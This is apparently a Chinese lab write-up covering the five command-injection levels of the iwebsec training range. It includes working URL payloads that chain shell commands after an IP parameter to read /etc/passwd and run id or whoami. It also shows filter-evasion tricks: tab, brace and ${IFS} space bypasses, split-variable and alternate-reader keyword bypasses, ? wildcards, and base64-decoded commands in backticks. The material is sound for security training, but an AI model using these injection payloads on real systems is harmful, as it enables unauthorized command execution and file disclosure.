iwebsec靶场 命令执行漏洞通关笔记

iwebsec靶场的命令执行通关笔记,共有五个关卡,分别涉及到基础的命令执行漏洞、空格绕过、关键字绕过、通配符绕过、base64绕过共五方面的渗透。

什么是命令执行漏洞?命令执行漏洞是服务器端没有对客户端用户输入的参数进行过滤,导致用户可以通过任意拼接系统命令,使服务器端成功执行任意系统命令。命令执行漏洞主要是服务端没有对执行命令的函数做出过滤导致的,因为在web服务程序有时候去需要调用执行命令的函数,所以如果没有对客户端用户输入的命令进行过滤,可能发生命令执行漏洞。

第一关

1.源码分析

打开第一关 命令执行漏洞,如上url的链接地址为http://192.168.71.151/exec/01.php

首先通过docker ps查看容器id,然后通过docker exec进入到docker容器的命令行界面

 由于第一关的url为http://192.168.71.151/exec/01.php,那么网站的源码在docker中可以通过如下方式查看

cat /var/www/html/exec/01.php

 查看结果如下所示

 分析源码的内容,如上所示参数ip的内容执行ping操作,并未做任何过滤操作,具有命令执行的漏洞,只需要在ip地址后加入命令连接符,然后再渗透添加其他命令即可进行渗透

2.利用命令执行漏洞

(1)参数为ip=127.0.0.1

http://192.168.71.151/exec/01.php?ip=127.0.0.1

(2)参数为ip=127.0.0.1;whoami  这里使用分号作为分隔符,后接命令whoami

http://192.168.71.151/exec/01.php?ip=127.0.0.1;whoami

(2)参数为ip=127.0.0.1;cat /etc/passwd 这里使用分号作为分隔符,后接命令cat /etc/passwd

http://192.168.71.151/exec/01.php?ip=127.0.0.1;cat%20/etc/passwd

如上所示,渗透获取到敏感信息/etc/passwd 

(3)参数为ip=127.0.0.1;id 这里使用分号作为分隔符,后接命令id

第二关

1.源码分析

如上所示查看源码可知对于ip传入的参数过滤了空格

此时再次执行参数ip=cat /etc/passwd 则会报错,因为cat与文件路径/etc/passwd中间存在空格会被过滤掉

http://192.168.71.151/exec/02.php?ip=127.0.0.1;cat /etc/passwd

也就是说http://192.168.71.151/exec/02.php?ip=127.0.0.1;cat%20/etc/passwd 无效

2.命令执行漏洞空格绕过渗透

如下所示,空格绕过可以有很多中方法

<|{}|%09|${IFS}9|${IFS}|

 接下来根据选择其中几种进行尝试

(1)制表符绕过

%09是制表符的URL编码,可以通过%09来代替空格,绕过空格过滤
ip=127.0.0.1;cat /etc/passwd可以替换为ip=127.0.0.1;cat%09/etc/passwd

http://192.168.71.151/exec/02.php?ip=127.0.0.1;cat%09/etc/passwd

(2)<绕过

ip=127.0.0.1;cat /etc/passwd可以替换为ip=127.0.0.1;cat</etc/passwd
http://192.168.71.151/exec/02.php?ip=127.0.0.1;cat</etc/passwd
http://192.168.71.151/exec/02.php?ip=127.0.0.1;cat%3C/etc/passwd

(3){}过滤

空格过滤可以使用{}绕过
ip=127.0.0.1;cat /etc/passwd可以更换为ip=127.0.0.1;{cat,/etc/passwd}
http://192.168.71.151/exec/02.php?ip=127.0.0.1;{cat,/etc/passwd}

 

 (4)${IFS}替换

ip=127.0.0.1;cat /etc/passwd
可以替换为ip=127.0.0.1;cat${IFS}/etc/passwd
http://192.168.71.151/exec/02.php?ip=127.0.0.1;cat${IFS}/etc/passwd

(5)$IFS$9替换

ip=127.0.0.1;cat /etc/passwd可以替换为ip=127.0.0.1;cat$IFS$9/etc/passwd
http://192.168.71.151/exec/02.php?ip=127.0.0.1;cat$IFS$9/etc/passwd

第三关

1.源码分析

如下所示,代码中过滤了cat关键字

很明显,因为过滤了cat关键字,那么传参ip=127.0.0.1;cat /etc/passwd 将失效,这是因为cat被过滤掉了

 2.命令执行漏洞关键命令绕过渗透

(1)拼接绕过

可以使用a=ca;b=t;$a$b /etc/passwd绕过
即使用ip=127.0.0.1;a=ca;b=t;$a$b%20/etc/passwd进行替换
http://192.168.71.151/exec/03.php?ip=127.0.0.1;a=ca;b=t;$a$b%20/etc/passwd

(2)命令替换绕过

可以使用与cat功能类似的其他命令,如

more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
sh /etc/passwd 2>%261 //报错出文件内容

实战1:

http://192.168.71.151/exec/03.php?ip=127.0.0.1;sh%20/etc/passwd%202%3E%261

实战2:http://192.168.71.151/exec/03.php?ip=127.0.0.1;more%20/etc/passwd

 实战3:

ttp://192.168.71.151/exec/03.php?ip=127.0.0.1;head%20/etc/passwd

实战4:http://192.168.71.151/exec/03.php?ip=127.0.0.1;sort%20/etc/passwd

第四关

1.源码分析

如下所示,直接过滤了

 很明显因为过滤了关键字etc|passwd,这使得传参ip=127.0.0.1;cat /etc/passwd会渗透失效

 

2.命令执行漏洞通配符绕过渗透

使用通配符方法进行绕过渗透,​?字符代表单个字符,这样的话/etc/passwd可以分别将etc和passwd其中的1个或者是多个字符分别用?替换。注意,?不能匹配空字符。也就是说,它占据的位置必须有字符存在。

(1)实战1:

使用ip=127.0.0.1;cat /et?/pass??来替换ip=127.0.0.1;cat /etc/passwd

http://192.168.71.151/exec/04.php?ip=127.0.0.1;cat%20/et?/pass??

如上所示成功获取了/etc/passwd文件的内容

 (2)实战2:

 使用ip=127.0.0.1;cat /?tc/pa??wd来替换ip=127.0.0.1;cat /etc/passwd

http://192.168.71.151/exec/04.php?ip=127.0.0.1;cat%20/et?/pass??http://192.168.71.151/exec/04.php?ip=127.0.0.1;cat%20/?tc/pa??wd

http://192.168.71.151/exec/04.php?ip=127.0.0.1;cat%20/et?/pass??

第五关

1.源码分析

 很明显因为过滤了id关键字,ip=127.0.0.1;id 这个命令无法渗透成功

2.命令执行漏洞base64编码绕过渗透

这个时候可以在自己的linux系统中将命令进行base64编码,然后再拿去目标请求中命令执行,使用base64的-d参数解码

(1)通过 echo id|base64获取base64编码

 echo id|base64

 如下所示,编码为aWQK

 (2)通过base64解码

echo aWQK|base64 -d

(3)base64编码绕过命令注入渗透

再次强调用反引号括起来的值会被当做命令执行,于是使用如下命令替换

ip=127.0.0.1;`echo aWQK|base64 -d`

http://192.168.71.151/exec/01.php?ip=127.0.0.1;`echo%20aWQK|base64%20-d`

如上渗透成功

  • 8
    点赞
  • 44
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

mooyuan天天

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值